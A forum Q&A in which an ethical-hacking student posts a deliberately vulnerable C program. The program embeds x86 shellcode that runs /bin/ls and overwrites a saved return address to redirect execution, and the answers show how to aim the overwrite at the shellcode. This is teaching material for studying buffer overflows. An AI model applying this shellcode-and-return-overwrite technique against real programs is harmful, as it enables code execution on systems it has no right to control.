Buffer overflow: execute char array loaded into memory - c

Question

I'm an ethical hacking student and have been given this as an exercise. I've been stuck on it for two days now.
We're writing a program that is purposely vulnerable to a "buffer overflow".
#include <stdio.h>
void badf(int n, char c, char* buffer)
{
char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff,
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c,
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes
int i;
// Copy mycode array into buffer array
for (i=0; i<n; i++)
{
buffer[i]=mycode[i];
}
// Overwrite Base Pointer
buffer[37] = 0x00;
buffer[38] = 0x00;
buffer[39] = 0x00;
buffer[40] = 0x00;
// Overwrite Instruction Pointer
buffer[41] = 0x90;
buffer[42] = 0x83;
buffer[43] = 0x04;
buffer[44] = 0x08;
}
void f(int n, char c)
{
char buffer[37];
badf(n,c,buffer);
}
void test()
{
printf("test\n");
}
int main()
{
f(37,0x00);
return 0;
}
The mycode array contains "malicious" machine code (it actually just calls execv with /bin/ls). badf is the "vulnerable" function. At the moment you can see I'm overwriting the Base Pointer with 0x00s and the Instuction Pointer with 0x08048390 which is the address of the test() function. This works, 'test' is printed to the terminal.
Now my next exercise is to "use ddd to find the address of your code array and modify the C to write this address over the instruction pointer, as you did in the previous step".
What I don't understand, is how I can use ddd to find the address of my code array. I can easily find the address where the array is moved to BP:
0x08048260 <badf+12>: movb $0xeb,-0x29(%ebp)
0x08048264 <badf+16>: movb $0xf,-0x28(%ebp)
0x08048268 <badf+20>: movb $0xb8,-0x27(%ebp)
.....
Or where it is copied into the buffer array:
0x080482f4 <badf+160>: movl $0x0,-0x4(%ebp)
0x080482fb <badf+167>: jmp 0x8048316 <badf+194>
0x080482fd <badf+169>: mov -0x4(%ebp),%edx
0x08048300 <badf+172>: mov 0x10(%ebp),%eax
.....
But of course this is not what we're looking for.
How can I find the Instruction Pointer address to execute machine code that has been loaded in by writing it in the buffer array this way?
edit: ddd is the debugger we're using, also note we're working with a 32bit linux. The code is compiled with -fno-stack-operator flag, disabling the compilers auto-checks for buffer overflows.

Answer 1

Since you copy myCode into the buffer, you could simply use buffer itself:
Assuming a little-endian machine:
// Overwrite Instruction Pointer
buffer[41] = (char)(((uintptr_t)buffer) >> 0);
buffer[42] = (char)(((uintptr_t)buffer) >> 8);
buffer[43] = (char)(((uintptr_t)buffer) >> 16);
buffer[44] = (char)(((uintptr_t)buffer) >> 24);

Answer 2

I don't know how to do it with ddd, but you could modify badf to print mycode address by using a print statement like this:
printf("mycode address: %p", (void *) mycode);
See what that prints, and just write that to instruction pointer